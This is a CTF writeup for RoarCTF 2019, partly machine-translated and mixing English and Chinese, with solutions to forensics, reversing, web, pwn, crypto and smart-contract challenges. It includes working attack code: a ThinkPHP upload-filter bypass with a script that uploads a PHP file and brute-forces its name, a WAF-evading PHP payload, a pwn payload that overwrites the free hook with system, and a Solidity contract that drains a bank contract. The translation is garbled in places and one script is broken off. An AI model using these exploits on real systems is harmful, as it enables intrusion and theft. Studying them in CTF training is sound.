Please make way upstairs RoarCTF2019 Writeup

The author "Qftm" Original release: https: //xz.aliyun.com/t/6576

Misc

Sign problem

RoarCTF {sign! ! ! }

Gold six years

1571137836097.png

End of the file there is a base64, decoding hexadecimal can see is a compressed package

Open the archive requires a password

Use pr pumping frame

Can be seen in the two-dimensional code part of the frame, sequentially scan code to obtain key iwantplayctf

forensic

Directly on volatility

Recommended profile, can be used directly Win7SP1x86.

View the process

volatility -f mem.raw pslist --profile=Win7SP1x86

You can see there are several noteworthy that the process:

Dumpit.exe a memory image extraction tool.

TrueCrypt.exe a disk encryption tool.

Notepad.exe windows notepad.

Mspaint, exe windows comes with drawing tools.

Userassist can be found by looking at notepad mspaint in the extraction of memory in memory and no data. View user's Home directory file, you can find a user has saved picture file

volatility -f mem.raw --profile=Win7SP1x86 filescan|grep -v Temporary |grep -v .dll|grep -E 'png|jpg|gif|zip|rar|7z|pdf'

The picture dump down

By looking dumpit.exe desktop file can also be found on the table, and the default document is generated dumpit.exe {hash} .raw, save default path is the path where dumpit.exe.

Try dump raw image 0x000000001fca1130 located position, the file has not found data, when it is judged that dumpit.exe evidence is still running, dump down dumpit.exe memory mirroring.

For dumpit.exe memory mirroring for analysis

Guess passwords is just distorted text on that picture

不得不说,有几个位置很难辨认,比如第一个字符是数字1还是字母l还是字母I,那些大小写长得一样的是大写还是小写,中间那个是y还是g。直接上掩码爆破

ThankGame

用dnspy反编译,关键代码:

public static void WinGame()
  {
      if (!winGame && ((nDestroyNum == 4) || (nDestroyNum == 5)))
      {
          string str = "clearlove9";
          for (int i = 0; i < 0x15; i++)
          {
              for (int j = 0; j < 0x11; j++)
              {
                  str = str + MapState[i, j].ToString();
              }
          }
          if (Sha1(str) == "3F649F708AAFA7A0A94138DC3022F6EA611E8D01")
          {
              FlagText._instance.gameObject.SetActive(true);
              FlagText.str = "RoarCTF{wm-" + Md5(str) + "}";
              winGame = true;
          }
      }
  }

  public static string Md5(string str)
  {
      byte[] bytes = Encoding.UTF8.GetBytes(str);
      byte[] buffer2 = MD5.Create().ComputeHash(bytes);
      StringBuilder builder = new StringBuilder();
      foreach (byte num in buffer2)
      {
          builder.Append(num.ToString("X2"));
      }
      return builder.ToString().Substring(0, 10);
  }

  private void OnTriggerEnter2D(Collider2D collision)
  {
      int x = (int) collision.gameObject.transform.position.x;
      int y = (int) collision.gameObject.transform.position.y;
      switch (collision.tag)
      {
          case "Tank":
              if (!this.isPlayerBullect)
              {
                  collision.SendMessage("Die");
                  UnityEngine.Object.Destroy(base.gameObject);
              }
              break;
          case "Heart":
              MapManager.MapState[x + 10, y + 8] = 9;
              MapManager.nDestroyNum++;
              collision.SendMessage("Die");
              UnityEngine.Object.Destroy(base.gameObject);
              break;

          case "Enemy":
              if (this.isPlayerBullect)
              {
                  collision.SendMessage("Die");
                  UnityEngine.Object.Destroy(base.gameObject);
              }
              break;
          case "Wall":
              MapManager.MapState[x + 10, y + 8] = 8;
              MapManager.nDestroyNum++;
              UnityEngine.Object.Destroy(collision.gameObject);
              UnityEngine.Object.Destroy(base.gameObject);
              break;

          case "Barrier":
              if (this.isPlayerBullect)
              {
                  collision.SendMessage("PlayAudio");
              }
              UnityEngine.Object.Destroy(base.gameObject);
              break;
      }
  }

墙1替换成8,老家0替换成9,66个变量,4或5个位置需要变,首先爆破66 * 65 * 64 * 63,爆破出来了,计算md5得到前10字节,得到flag,细节如图:

Web

simple_upload

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
   public function index()
  {
       show_source(__FILE__);
  }
   public function upload()
  {
       $uploadFile = $_FILES['file'] ;
       
       if (strstr(strtolower($uploadFile['name']), ".php") ) {
           return false;
      }
       
       $upload = new \Think\Upload();// 实例化上传类
       $upload->maxSize  = 4096 ;// 设置附件上传大小
       $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
       $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
       $upload->savePath = '';// 设置附件上传子目录
       $info = $upload->upload() ;
       if(!$info) {// 上传错误提示错误信息
         $this->error($upload->getError());
         return;
      }else{// 上传成功 获取上传文件信息
         $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
         echo json_encode(array("url"=>$url,"success"=>1));
      }
  }
} 

ThinkPHP默认上传文件名是递增的。 代码中ThinkPHP的后缀过滤无效,所以通过上传多个文件的方式,绕过.php后缀的判断,但是这样拿不到上传的文件名,需要爆破。 具体的步骤为:

1.写脚本上传一个正常文件,再上传多个文件,再上传一个正常文件。获取到第一三次上传的文件名。

import requests
url = "http://lo408dybroarctf.4hou.com.cn:34422/index.php/Home/Index/upload"

files1 = {'file': open('ma.txt','r')}
files2 = {'file[]': open('ma.php','r')}

r = requests.post(url,files=files1)
print(r.text)

r = requests.post(url,files=files2)
print(r.text)

r = requests.post(url,files=files1)
print(r.text)

2.多线程爆破一下第一三文件名之间的所有文件名。

这是最开始写的单线程爆破的脚本,后来觉得太累了,就拿开源扫描器dirfuzz改了一个多线程的版本。最终多线程爆破成功。

import requests

#{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bb3645.txt","success":1}
#{"url":"\/Public\/Uploads\/","success":1}
#{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bd6f0a.txt","success":1}


s = "1234567890abcdef"
for i in s:
for j in s:
for k in s:
for l in s:
url = "http://lo408dybroarctf.4hou.com.cn:34422/Public/Uploads/2019-10-12/5da1b52bc%s%s%s%s.php"%(i,j,k,l)
r = requests.get(url)
# print(url)
if r.status_code != 404:
print(url)
break
#[+]{"url": "http://lo408dybroarctf.4hou.com.cn:34422/Public/Uploads/2019-10-12/5da1b52bc7471.php", "status_code": 200, "data": "RoarCTF{wm-22522494528d3de9}\n"}

爆破到php文件,就可以直接读到flag。估计主办方有个脚本在后台一直跑改php文件。

easy_calc

这题首先进去发现是一个计算器的题目。

这道题是国赛的love_math的修改版,除去了长度限制,payload中不能包含' ', '\t', '\r', '\n',''', '"', '`', '[', ']' 等字符,不同的是网站加了waf,需要绕过waf。首先需要绕过waf,测试发现当我们提交一些字符时,会直接403,经测试发现存在服务器存在http走私漏洞,可以用来绕waf,详情见:https://paper.seebug.org/1048/

因为禁掉了一些字符,所以导致我们不能直接getflag,继续分析payload构造

这里用到几个php几个数学函数。

我们首先要构造列目录的payload,肯定要使用scandir函数,尝试构造列举根目录下的文件。scandir可以用base_convert函数构造,但是利用base_convert只能解决a~z的利用,因为根目录需要/符号,且不在a~z,所以需要hex2bin(dechex(47))这种构造方式,dechex() 函数把十进制数转换为十六进制数。hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

构造读取flag,使用readfile函数,paload:base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36)),方法类似

easy_java

这道进去首先想到的就是任意文件下载,但是刚开始用GET方式一直什么都下载不了,连网站确定目录的图片都下不了。后来修改为post,可以了。。。

尝试读取WEB-INF/web.xml发现操作flag的关键文件位置

将图中base64解码即flag。

Re

polyre

使用 deflat.py 脱去控制流平坦化,加密算法大致是:输入 48,平分 6 组,将每组 8 字节转化为 long 类型的值,对每组进行加密,先判断正负,然后将值乘 2,随后根据正负异或 0xB0004B7679FA26B3,循环 64 次,最后进行比较;按照这个逻辑写逆运算就可以了,逆运算见 depoly.py

origin = [0xbc8ff26d43536296,
          0x520100780530ee16,
          0x4dc0b5ea935f08ec,
          0x342b90afd853f450,
          0x8b250ebcaa2c3681,
          0x55759f81a2c68ae4]
key = 0xB0004B7679FA26B3
data = ""

for value in origin:
    for i in range(0, 64):
        tail = value & 1
        if tail == 1:
            value = value ^ key
        value = value // 2
        if tail == 1:
            value = value | 0x8000000000000000
        #print(hex(value))
    # end for
    print(hex(value))
    j = 0
    while (j < 8):
        data += chr(value & 0xFF)
        value = value >> 8
        j += 1
    # end while
#end for
print(data)

Pwn

ez_op

payload:

#!/usr/bin/env python3
# -*- coding=utf-8 -*-

from pwn import *

system_addr = 0x08051C60
hook_free = 0x080E09F0

# opcdoe
opcode = ""

# get stack_addr
opcode += """\
push 5
stack_load\
"""

# sub hook_free
opcode += f"""\
push {hook_free}
sub\ 
"""

# value / 4 + 1
opcode += """\
push 4
div
push 1
add\
"""

# *hook_free = system_addr
opcode += f"""\
push {system_addr}
stack_set\
"""
opcode = f"""\
push {0x6e69622f}
push {0x68732f}
push {system_addr}
push 1
push 4
push 64
stack_load
push {hook_free}
sub
div
sub
stack_set\
"""
OPCODET = {
  "push": 0x2a3d,
  "add": 0,
  "sub": 0x11111,
  "div": 0x514,
  "stack_set": 0x10101010,
  "stack_load": -1
}
opcode_list = opcode.split("\n")
op_result = []
num_result = []
for op in opcode_list:
  tmp = op.split(" ")
  assert tmp[0] in OPCODET
  op_result.append(str(OPCODET[tmp[0]]))
  if len(tmp) == 2:
      num_result.append(str(tmp[1]))

result_op = " ".join(op_result)
result_num = " ".join(num_result)

print(result_op)
print(result_num)

Crypto

babyrsa

一个数学结论:对于一个素数p来说,(p-1)的阶乘加上(p-2)的阶乘等于p乘以(p-2)的阶乘,能被p整除,(p-1)的阶乘除以p余p-1(因为p的阶乘能被p整除)就是:

(p-1)!+(p-2)!=p*(p-2)  
(p-1)!=p*(p-1)
(p-2)! % p=1

解密脚本如下:

import sympy
from Crypto.Util.number import long_to_bytes
def egcd(a,b):
    if a==0:
        return (b,0,1)
    else:
        g,y,x=egcd(b%a,a)
        return (g,x-(b//a)*y,y)
def modinv(a,m):
    g,x,y=egcd(a,m)
    if g!=1:
        raise Exception(" error")
    else:
        return x%m
a1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407
b1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596
a2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927
b2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026
n=85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733
c=75700883021669577739329316795450706204502635802310731477156998834710820770245219468703245302009998932067080383977560299708060476222089630209972629755965140317526034680452483360917378812244365884527186056341888615564335560765053550155758362271622330017433403027261127561225585912484777829588501213961110690451987625502701331485141639684356427316905122995759825241133872734362716041819819948645662803292418802204430874521342108413623635150475963121220095236776428
p=1
q=1
i=1
l=0
for i in range(b1+1,a1-1):
    p *= modinv(i,a1)
    p %=a1
p=sympy.nextprime(p)
print "p="
print p
for i in range(b2+1,a2-1):
    q *=modinv(i,a2)
    q %=a2
q=sympy.nextprime(q)
print "q="
print q
r=n/q/p
print "r="
print r
fn=(p-1)*(q-1)*(r-1)
print "fn="
print fn
e=4097
d=modinv(e,fn)
print "d="
print d
m=pow(c,d,n)
print "m="
print m
print long_to_bytes(m)

区块链1

做题的时候发现已经有人做出来了,然后去看做出来人的交易记录,发现是薅羊毛,通过逆向做出来人的记录,照抄了一个,payload合约如下:

/**
*Submitted for verification at Etherscan.io on 2019-10-08
*/

pragma solidity ^0.4.24;

contract P_Bank
{
  mapping (address => uint) public balances;
   
  uint public MinDeposit = 0.1 ether;
   
  Log TransferLog;
  event FLAG(string b64email, string slogan);
  constructor(address _log) public { 
      TransferLog = Log(_log);
    }
  function Ap() public {
      if(balances[msg.sender] == 0) {
          balances[msg.sender]+=1 ether;
      }
  }
  function Transfer(address to, uint val) public {
      if(val > balances[msg.sender]) {
          revert();
      }
      balances[to]+=val;
      balances[msg.sender]-=val;
  }
  function CaptureTheFlag(string b64email) public returns(bool){
    require (balances[msg.sender] > 500 ether);
    emit FLAG(b64email, "Congratulations to capture the flag!");
  }
  function Deposit()
  public
  payable
  {
      if(msg.value > MinDeposit)
      {
          balances[msg.sender]+= msg.value;
          TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
      }
  }
   
  function CashOut(uint _am) public 
  {
      if(_am<=balances[msg.sender])
      {
           
          if(msg.sender.call.value(_am)())
          {
              balances[msg.sender]-=_am;
              TransferLog.AddMessage(msg.sender,_am,"CashOut");
          }
      }
  }
   
  function() public payable{}    
   
}

contract Log 
{
  
  struct Message
  {
      address Sender;
      string Data;
      uint Val;
      uint Time;
  }
  string err = "CashOut";
  Message[] public History;
  Message LastMsg;
  function AddMessage(address _adr,uint _val,string _data)
  public
  {
      LastMsg.Sender = _adr;
      LastMsg.Time = now;
      LastMsg.Val = _val;
      LastMsg.Data = _data;
      History.push(LastMsg);
  }
}
contract FatherOwned {
  address owner;
  modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
}
contract Attack
{
  address owner;
  P_Bank target;
  constructor(address my) public { 
      owner = my;
      target = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21);
      target.Ap();
      target.Transfer(owner, 1 ether);
      selfdestruct(owner);
    }
}
contract Deploy is FatherOwned
{
  constructor() public { 
      owner = msg.sender;
    }
    function getflag() public onlyOwner {
        P_Bank target;
        target = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21);
        target.CaptureTheFlag("[email protected]");
    }
    function ffhhhhhhtest1() public onlyOwner {
    uint i;
    for (i=0; i<10; i++){
        new Attack(owner);
    }
    }
    function ffhhhhhhtest2() public onlyOwner {
    uint i;
    for (i=0; i<30; i++){
        new Attack(owner);
         
    }
  }
    function ffhhhhhhtest3() public onlyOwner {
    uint i;
    for (i=0; i<50; i++){
        new Attack(owner);
    }
  }
  function ffhhhhhhtest4() public onlyOwner {
    uint i;
    for (i=0; i<70; i++){
        new Attack(owner);
         
    }
  }
}

智能合约2

To the actual source code and not the same, he looked the same to do it before the next person transactions, found a function: 0x5ad0ae39

Reverse it to get about the code:

func 0x5ad0ae39(address1, address2, uint, address3)
  require(allowance[address1][msg.sender] >= uint)
  require(address3 == msg.sender + 0x32c3edb)
  balanceOf[address1] -= _value;
  balanceOf[address2] += _value;
  allowance[address1][msg.sender] -= _value;
然后在标准token的sol里面有一个函数:
function approve(address _spender, uint256 _value) public returns (bool) {
  allowed[msg.sender][_spender] = _value;
  Approval(msg.sender, _spender, _value);
  return true;
}

By approve functions that allowance [msg.sender] [msg.sender] assignment, just larger than the value of 1000 on the line.

Then call 0x5ad0ae39, where pain is more eggs, because not blasting this function name, do not use remix the direct question, no way can only write code.

Process is shown:

RSA

According to documents seen topics:

A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x
p=next_prime(z*x*y)
q=next_prime(z)
n=p*q

A direct blasting equation to be x * y = 166. (A 2 a 83, too lazy to re-write the script a good burst.)

Then available

p=next_prime(z*166)
q=next_prime(z)

Can be inferred, n and Z Z value 166 is relatively close distance, it may be presumed according next_prime sqrt (n / 166) and the value of p and q which is a very close, to blasting.

py2 :

import sympy
import gmpy2
n=117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
#m是n/166的开放根,和p q 中的一个距离很近
m=sympy.nextprime(842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029)
m2=842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029*166
k=m
p=0
q=0
while (m>10000):
    if(n%m==0):
        #print (m) A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x
根据方程可以直接算出x和y
a=2683349182678714524247469512793476009861014781004924905484127480308161377768192868061561886577048646432382128960881487463427414176114486885830693959404989743229103516924432512724195654425703453612710310587164417035878308390676612592848750287387318129424195208623440294647817367740878211949147526287091298307480502897462279102572556822231669438279317474828479089719046386411971105448723910594710418093977044179949800373224354729179833393219827789389078869290217569511230868967647963089430594258815146362187250855166897553056073744582946148472068334167445499314471518357535261186318756327890016183228412253724
x=1
y=1
n=0
c=0
d=0
for x in range(1,100):
   for y in range(2,100):
       c=(y+1)/x
       d=x%y
       if(d!=0):
           n=(((y%x)**5)%d)**2019+y**316+c
       if(n==a):
            print (x)
            print (y)

You can have x = 2 y = 83

p=next_prime(zxy)

q=next_prime(z)

n=q*p

And thus can guess n (z X Y) z values are very close, and n is 2 ^ z 166 is very close, then sqrt (n / 166), and q is very close. Therefore, from the vicinity of the prime Find sqrt (n / 166).

e is unknown, but the range of e is relatively small, direct blast or guess, it was found to 65537 e.

Decryption script

import sympy
import math
import binascii
from Crypto.Util.number import long_to_bytes
n=117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
#m即是sqrt(n/166)的近似值
m=sympy.nextprime(842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029)
c=86974685960185109994565885227776590430584975317324687072143606337834618757975096133503732246558545817823508491829181296701578862445122140544748432956862934052663959903364809344666885925501943806009045214347928716791730159539675944914294533623047609564608561054087106518420308176681346465904692545308790901579479104745664756811301111441543090132246542129700485721093162972711529510721321996972649182594310700996042178757282311887765329548031672904349916667094862779984235732091664623511790424370705655016549911752412395937963400908229932716593592702387850259325784109798223415344586624970470351548381110529919234353
p=0
q=0
#从m附近查找q或p
while(m>100):
    if(n%m==0):
        p=m
        print "p="
        print p
        q=n/p
        print "q=" 
        print q
        break
    m=sympy.nextprime(m)
def egcd(a,b):
    if a==0:
        return (b,0,1)
    else:
        g,y,x=egcd(b%a,a)
        return (g,x-(b//a)*y,y)
def modinv(a,m):
    g,x,y=egcd(a,m)
    if g!=1:
        raise Exception(" error")
    else:
        return x%m
e=1
d=0
#爆破e
while(e<100000):
    #try:
    #e=sympy.nextprime(e)
    e=65537 #最后爆破成功的e
    d=modinv(e,(p-1)*(q-1))
    m=pow(c,d,n)
    print long_to_bytes(m)
    m_hex = hex(m)[2:]
   # try:    
    print m_hex
    print("ascii:\n%s"%(binascii.a2b_hex(m_hex).decode("utf8"),))
   # except:
    #    if(e%10000==0):
     #       print e

Guess you like

Origin www.cnblogs.com/qftm/p/11746358.html